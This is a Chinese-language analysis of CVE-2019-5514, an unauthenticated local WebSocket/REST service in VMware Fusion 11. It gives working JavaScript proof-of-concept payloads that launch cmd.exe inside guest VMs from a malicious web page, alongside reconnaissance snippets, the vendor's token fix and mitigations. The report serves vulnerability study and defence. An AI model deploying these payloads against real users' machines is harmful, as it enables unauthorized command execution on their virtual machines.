CVE-2019-5514 VMware Fusion 11 Guest机远程代码执行
字数 1288 2025-08-29 08:32:09

VMware Fusion 11 Guest机远程代码执行漏洞(CVE-2019-5514)分析报告

漏洞概述

CVE-2019-5514是VMware Fusion 11中的一个严重漏洞,允许攻击者通过Web在Guest虚拟机上执行任意命令。该漏洞源于VMware Fusion的"应用菜单服务"(amsrv)组件,该组件默认在localhost的8698端口开放WebSocket和REST API接口,且未实施适当的身份验证机制。

受影响组件

  • amsrv进程:VMware Fusion应用菜单服务,默认监听8698端口
  • vmrest进程:VMware REST API服务
  • VMware Fusion Applications Menu.app:包含漏洞的核心组件

漏洞细节

1. 信息泄露漏洞

REST API信息泄露

  • 访问http://localhost:8698/api/internal/vms可获取VM详细信息,包括:
    • VM ID
    • 处理器和内存配置
    • VM文件路径
    • 电源状态

WebSocket信息泄露

  • 通过发送menu.refresh请求可获取:
    • VM列表及名称
    • 缓存路径
    • 已安装应用程序信息

2. 远程代码执行漏洞

利用方式

  1. 通过WebSocket连接到ws://127.0.0.1:8698/ws
  2. 发送特制的JSON payload执行命令

关键API端点

  • menu.onAction:执行应用程序
  • menu.selectIndex:选择目标VM
  • menu.refresh:刷新VM信息

漏洞利用步骤

步骤1:发现服务

lsof -i :8698
ps aux | grep amsrv

步骤2:信息收集

REST API方式

var url = 'http://localhost:8698/api/internal/vms';
var xhr = new XMLHttpRequest();
xhr.open('GET', url, true);
xhr.responseType = 'text';
xhr.onload = function() {
    if (xhr.readyState === xhr.DONE && xhr.status === 200) {
        console.log(xhr.response);
    }
};
xhr.send(null);

WebSocket方式

ws = new WebSocket("ws://127.0.0.1:8698/ws");
ws.onopen = function() {
    const payload = {"name":"menu.refresh"};
    ws.send(JSON.stringify(payload));
};
ws.onmessage = function(data) {
    console.log(JSON.parse(data.data));
};

步骤3:执行命令

基础PoC

<script>
ws = new WebSocket("ws://127.0.0.1:8698/ws");
ws.onopen = function() {
    const payload = {
        "name":"menu.onAction",
        "object":"11 22 33 44 55 66 77 88-99 aa bb cc dd ee ff 00",
        "userInfo": {
            "action":"launchGuestApp:",
            "vmUUID":"11 22 33 44 55 66 77 88-99 aa bb cc dd ee ff 00",
            "representedObject":"cmd.exe"
        }
    };
    ws.send(JSON.stringify(payload));
};
</script>

改进版PoC(无需vmUUID)

<script>
ws = new WebSocket("ws://127.0.0.1:8698/ws");
ws.onopen = function() {
    const payload = {"name":"menu.refresh"};
    ws.send(JSON.stringify(payload));
};
ws.onmessage = function(data) {
    var j_son = JSON.parse(data.data);
    var vmlist = j_son.value.vmList;
    for (var i = 0; i < vmlist.length; i++) {
        const payload = {
            "name":"menu.onAction",
            "userInfo": {
                "action":"launchGuestApp:",
                "selectedIndex":i,
                "representedObject":"cmd.exe"
            }
        };
        if (vmlist[i].name.includes("Win") || vmlist[i].name.includes("win")) {
            ws.send(JSON.stringify(payload));
        }
    }
    ws.close();
};
</script>

漏洞修复

VMware在VMSA-2019-0005中修复了该漏洞,主要措施包括:

  1. 引入Token认证

    • 每次启动VM时生成随机Token
    • Token包含特殊字符、大小写字母和数字的组合
    • 对Token进行Base64编码
  2. 修改后的连接方式

    ws://localhost:8698/ws?token=Base64EncodedToken
    http://localhost:8698?token=Base64EncodedToken
    
  3. Token生成算法

    String.prototype.pick = function(min, max) {
        var n, chars = '';
        if (typeof max === 'undefined') { n = min; } 
        else { n = min + Math.floor(Math.random() * (max - min + 1)); }
        for (var i = 0; i < n; i++) {
            chars += this.charAt(Math.floor(Math.random() * this.length));
        }
        return chars;
    };
    
    String.prototype.shuffle = function() {
        var array = this.split('');
        var tmp, current, top = array.length;
        if (top) while (--top) {
            current = Math.floor(Math.random() * (top + 1));
            tmp = array[current];
            array[current] = array[top];
            array[top] = tmp;
        }
        return array.join('');
    };
    
    export class Token {
        public static generate(): string {
            const specials = '!@#$%^&*()_+-=[]{};:,./<>?';
            const lowercase = 'abcdefghijklmnopqrstuvwxyz';
            const uppercase = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
            const numbers = '0123456789';
            const all = specials + lowercase + uppercase + numbers;
            let token = '';
            token += specials.pick(1);
            token += lowercase.pick(1);
            token += uppercase.pick(1);
            token += numbers.pick(1);
            token += all.pick(5, 7);
            token = token.shuffle();
            return Buffer.from(token).toString('base64');
        }
    }
    

缓解措施

  1. 升级到VMware Fusion的最新版本
  2. 如果无法立即升级,可考虑:
    • 禁用VMware Fusion应用菜单服务
    • 使用防火墙规则阻止8698端口的访问
    • 限制localhost的网络访问权限

技术分析要点

  1. amsrv进程

    • 路径:/Applications/VMware Fusion.app/Contents/Library/amsrv
    • 启动参数:-D -p 8698
    • 相关文件:app.asar(Node.js打包文件)
  2. 漏洞根源

    • 未认证的WebSocket接口
    • 未认证的REST API接口
    • 过度信任本地网络请求
  3. 利用前提条件

    • 目标主机运行VMware Fusion
    • 目标VM已安装VMware Tools
    • 攻击者能诱使用户访问恶意网页

参考链接

  1. 原始漏洞分析
  2. VMware安全公告VMSA-2019-0005
  3. ProcInfoExample工具
VMware Fusion 11 Guest机远程代码执行漏洞(CVE-2019-5514)分析报告 漏洞概述 CVE-2019-5514是VMware Fusion 11中的一个严重漏洞,允许攻击者通过Web在Guest虚拟机上执行任意命令。该漏洞源于VMware Fusion的"应用菜单服务"(amsrv)组件,该组件默认在localhost的8698端口开放WebSocket和REST API接口,且未实施适当的身份验证机制。 受影响组件 amsrv进程 :VMware Fusion应用菜单服务,默认监听8698端口 vmrest进程 :VMware REST API服务 VMware Fusion Applications Menu.app :包含漏洞的核心组件 漏洞细节 1. 信息泄露漏洞 REST API信息泄露 : 访问 http://localhost:8698/api/internal/vms 可获取VM详细信息,包括: VM ID 处理器和内存配置 VM文件路径 电源状态 WebSocket信息泄露 : 通过发送 menu.refresh 请求可获取: VM列表及名称 缓存路径 已安装应用程序信息 2. 远程代码执行漏洞 利用方式 : 通过WebSocket连接到 ws://127.0.0.1:8698/ws 发送特制的JSON payload执行命令 关键API端点 : menu.onAction :执行应用程序 menu.selectIndex :选择目标VM menu.refresh :刷新VM信息 漏洞利用步骤 步骤1:发现服务 步骤2:信息收集 REST API方式 : WebSocket方式 : 步骤3:执行命令 基础PoC : 改进版PoC(无需vmUUID) : 漏洞修复 VMware在VMSA-2019-0005中修复了该漏洞,主要措施包括: 引入Token认证 : 每次启动VM时生成随机Token Token包含特殊字符、大小写字母和数字的组合 对Token进行Base64编码 修改后的连接方式 : Token生成算法 : 缓解措施 升级到VMware Fusion的最新版本 如果无法立即升级,可考虑: 禁用VMware Fusion应用菜单服务 使用防火墙规则阻止8698端口的访问 限制localhost的网络访问权限 技术分析要点 amsrv进程 : 路径: /Applications/VMware Fusion.app/Contents/Library/amsrv 启动参数: -D -p 8698 相关文件: app.asar (Node.js打包文件) 漏洞根源 : 未认证的WebSocket接口 未认证的REST API接口 过度信任本地网络请求 利用前提条件 : 目标主机运行VMware Fusion 目标VM已安装VMware Tools 攻击者能诱使用户访问恶意网页 参考链接 原始漏洞分析 VMware安全公告VMSA-2019-0005 ProcInfoExample工具